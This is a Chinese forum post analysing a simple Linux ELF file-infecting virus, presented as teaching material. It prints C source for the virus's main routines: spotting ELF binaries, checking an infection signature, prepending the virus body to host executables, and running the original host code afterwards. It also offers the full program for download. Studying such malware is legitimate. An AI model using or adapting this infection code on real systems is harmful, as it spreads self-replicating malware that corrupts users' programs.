ELF-Virus浅易病毒程序分析

打印 上一主题 下一主题

主题 1765|帖子 1765|积分 5295

系统功能概述

ELF-Virus实现了一个简单的病毒程序,可以或许感染当前目录下的ELF格式的可实行文件。病毒程序通过将自身代码附加到目的文件中,并在文件末尾添加一个特定的署名来标记文件已被感染。感染后的文件在实行时,会先实行病毒代码,然后再实行原始的程序代码。
系统架构

病毒程序:

病毒程序自己是一个ELF格式的可实行文件,它通过检查当前目录下的其他ELF文件,选择未被感染的文件举行感染。
感染机制:

病毒程序通过将自身代码附加到目的文件的末尾,并在文件末尾添加一个特定的署名(SIGNATURE)来标记文件已被感染。
实行机制:

感染后的文件在实行时,会先实行病毒代码,然后再实行原始的程序代码。
主要焦点技能点

ELF文件识别:

病毒程序通过读取文件的前4个字节来判断文件是否为ELF格式。ELF文件的前4个字节为0x7f, 'E', 'L', 'F'。
  1.   bool isELF(char* fileName) {
  2.       if(fileName[0] == '.') return false;
  3.       int hfd = open(fileName, O_RDONLY);
  4.       char header[4];
  5.       read(hfd, header, 4);
  6.       close(hfd);
  7.       return header[0] == 0x7f
  8.           && header[1] == 'E'
  9.           && header[2] == 'L'
  10.           && header[3] == 'F';
  11.   }
复制代码
感染检测:

病毒程序通过检查文件末尾的署名来判断文件是否已被感染。
  1.    bool isClean(char* fileName) {
  2.        int signature;
  3.        int fd = open(fileName, O_RDONLY);
  4.        lseek(fd, -1 * sizeof(signature), SEEK_END);
  5.        read(fd, &signature, sizeof(signature));
  6.        close(fd);
  7.        return signature != SIGNATURE;
  8.    }
复制代码
文件感染:

病毒程序通过创建一个临时文件,将病毒代码、原始文件内容和署名依次写入临时文件,然后将临时文件重命名为原始文件名,完成感染过程。
  1.    void infectHostFile(char* hostFileName, int vfd) {
  2.        int hfd = open(hostFileName, O_RDONLY);
  3.        struct stat st;
  4.        fstat(hfd, &st);
  5.        int hostSize = st.st_size;
  6.        int signature = SIGNATURE;
  7.        int tfd = creat(TEMP_FILENAME, st.st_mode);
  8.        sendfile(tfd, vfd, NULL, SIZE);
  9.        sendfile(tfd, hfd, NULL, hostSize);
  10.        write(tfd, &signature, sizeof(signature));
  11.        rename(TEMP_FILENAME, hostFileName);
  12.        close(tfd);
  13.        close(hfd);
  14.    }
复制代码
实行原始程序:

感染后的文件在实行时,会先实行病毒代码,然后再实行原始的程序代码。
  1. void executeHostPart(int vfd, mode_t mode, int totalSize, char *argv[]) {
  2.        int tfd = creat(TEMP_FILENAME, mode);
  3.        lseek(vfd, SIZE, SEEK_SET);
  4.        int signatureSize = sizeof(SIGNATURE);
  5.        int hostSize = totalSize - SIZE - signatureSize;
  6.        sendfile(tfd, vfd, NULL, hostSize);
  7.        close(tfd);
  8.        pid_t pid = fork();
  9.        if(pid == 0) {
  10.            execv(TEMP_FILENAME, argv);
  11.        }
  12.        else{
  13.            waitpid(pid, NULL, 0);
  14.            unlink(TEMP_FILENAME);
  15.        }
  16.    }
复制代码
应用场景

ELF-Virus主要用于研究和理解病毒程序的根本工作原理,以及如何通过代码实现文件的感染和实行。它可以用于教学目的,帮助学习者理解恶意软件的根本工作机制。
系统总结

ELF-Virus程序通过简单的文件操作和ELF文件格式的识别,实现了对目的文件的感染。感染后的文件在实行时会先实行病毒代码,然后再实行原始的程序代码。该程序展示了病毒程序的根本工作原理,具有一定的教诲意义,但同时也提醒我们注意计算机安全,防止恶意软件的传播和感染。
需要ELF-Virus分析的朋友可以在公众号回复"ELF-Virus"举行下载


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

络腮胡菲菲

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表